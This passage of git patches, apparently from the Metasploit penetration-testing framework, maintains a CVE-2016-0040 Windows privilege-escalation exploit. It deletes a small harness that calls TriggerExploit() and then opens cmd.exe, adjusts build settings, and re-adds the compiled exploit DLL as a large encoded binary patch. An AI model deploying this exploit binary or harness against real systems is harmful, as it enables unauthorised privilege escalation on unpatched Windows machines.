{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|Any CPU.ActiveCfg = Release|x64 + {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|Any CPU.Build.0 = Release|x64 + {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|x64.ActiveCfg = Release|x64 + {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|x64.Build.0 = Release|x64 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|Any CPU.ActiveCfg = Debug|x64 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|x64.ActiveCfg = Debug|x64 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|x64.Build.0 = Debug|x64 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|Any CPU.ActiveCfg = Release|x64 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|Any CPU.Build.0 = Release|x64 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|x64.ActiveCfg = Release|x64 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal From 5a787bcce5eec0ce42cea604a8e9022e680a9ab9 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 3 May 2018 15:08:42 -0500 Subject: [PATCH 15/16] We don't need the application.c file --- .../CVE-2016-0040/Application/Application.c | 24 ------------------- .../Application/Application.vcxproj | 2 +- .../exploits/CVE-2016-0040/CVE-2016-0040.sln | 12 ---------- .../CVE-2016-0040/Library/Library.vcxproj | 2 +- .../Metasploit/Metasploit.vcxproj | 2 +- 5 files changed, 3 insertions(+), 39 deletions(-) delete mode 100755 external/source/exploits/CVE-2016-0040/Application/Application.c mode change 100644 => 100755 external/source/exploits/CVE-2016-0040/Application/Application.vcxproj mode change 100644 => 100755 external/source/exploits/CVE-2016-0040/Library/Library.vcxproj mode change 100644 => 100755 external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj diff --git a/external/source/exploits/CVE-2016-0040/Application/Application.c b/external/source/exploits/CVE-2016-0040/Application/Application.c deleted file mode 100755 index 407884f786..0000000000 --- a/external/source/exploits/CVE-2016-0040/Application/Application.c +++ /dev/null @@ -1,24 +0,0 @@ -#include -#include - -#include - -#ifdef _DEBUG -#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__) -#else -#define LOG -#endif //_DEBUG - -INT main() { - - if (TriggerExploit() == FALSE) { - LOG("[-] Exploitation Failed\n"); - return -1; - } - - LOG("[+] Exploitation Completed\n"); - - system("cmd.exe"); - - return 0; -} diff --git a/external/source/exploits/CVE-2016-0040/Application/Application.vcxproj b/external/source/exploits/CVE-2016-0040/Application/Application.vcxproj old mode 100644 new mode 100755 index 877b9fae0d..a6bea474f7 --- a/external/source/exploits/CVE-2016-0040/Application/Application.vcxproj +++ b/external/source/exploits/CVE-2016-0040/Application/Application.vcxproj @@ -30,7 +30,7 @@ Application false - v141 + v120 true Unicode diff --git a/external/source/exploits/CVE-2016-0040/CVE-2016-0040.sln b/external/source/exploits/CVE-2016-0040/CVE-2016-0040.sln index 9a6f52e534..d0ee5e28b0 100755 --- a/external/source/exploits/CVE-2016-0040/CVE-2016-0040.sln +++ b/external/source/exploits/CVE-2016-0040/CVE-2016-0040.sln @@ -3,11 +3,6 @@ Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 2013 VisualStudioVersion = 12.0.21005.1 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Application", "Application\Application.vcxproj", "{81D011C1-F734-44D1-BE48-B16D643C99A7}" - ProjectSection(ProjectDependencies) = postProject - {2B0E925B-9653-42D7-84EF-E47DD89DED3D} = {2B0E925B-9653-42D7-84EF-E47DD89DED3D} - EndProjectSection -EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Metasploit", "Metasploit\Metasploit.vcxproj", "{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}" ProjectSection(ProjectDependencies) = postProject {2B0E925B-9653-42D7-84EF-E47DD89DED3D} = {2B0E925B-9653-42D7-84EF-E47DD89DED3D} @@ -23,13 +18,6 @@ Global Release|x64 = Release|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|Any CPU.ActiveCfg = Debug|x64 - {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|x64.ActiveCfg = Debug|x64 - {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|x64.Build.0 = Debug|x64 - {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|Any CPU.ActiveCfg = Release|x64 - {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|Any CPU.Build.0 = Release|x64 - {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|x64.ActiveCfg = Release|x64 - {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|x64.Build.0 = Release|x64 {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|Any CPU.ActiveCfg = Debug|x64 {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|x64.ActiveCfg = Debug|x64 {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|x64.Build.0 = Debug|x64 diff --git a/external/source/exploits/CVE-2016-0040/Library/Library.vcxproj b/external/source/exploits/CVE-2016-0040/Library/Library.vcxproj old mode 100644 new mode 100755 index b3673ebf06..cac3eef7e9 --- a/external/source/exploits/CVE-2016-0040/Library/Library.vcxproj +++ b/external/source/exploits/CVE-2016-0040/Library/Library.vcxproj @@ -27,7 +27,7 @@ StaticLibrary false - v141 + v120 true MultiByte diff --git a/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj b/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj old mode 100644 new mode 100755 index 3ae3140634..4d0c158eb2 --- a/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj +++ b/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj @@ -26,7 +26,7 @@ DynamicLibrary false - v141 + v120 true MultiByte From 729461e448c13a4e6063c167cc7a1b63a29019f8 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 3 May 2018 15:50:15 -0500 Subject: [PATCH 16/16] Re-add compiled Binary --- .../CVE-2016-0040/CVE-2016-0040.x64.dll | Bin 0 -> 85504 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100755 data/exploits/CVE-2016-0040/CVE-2016-0040.x64.dll diff --git a/data/exploits/CVE-2016-0040/CVE-2016-0040.x64.dll b/data/exploits/CVE-2016-0040/CVE-2016-0040.x64.dll new file mode 100755 index 0000000000000000000000000000000000000000..fe9c0c4231db60dca609fcd2a1cc23cbc2cd59c3 GIT binary patch literal 85504 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 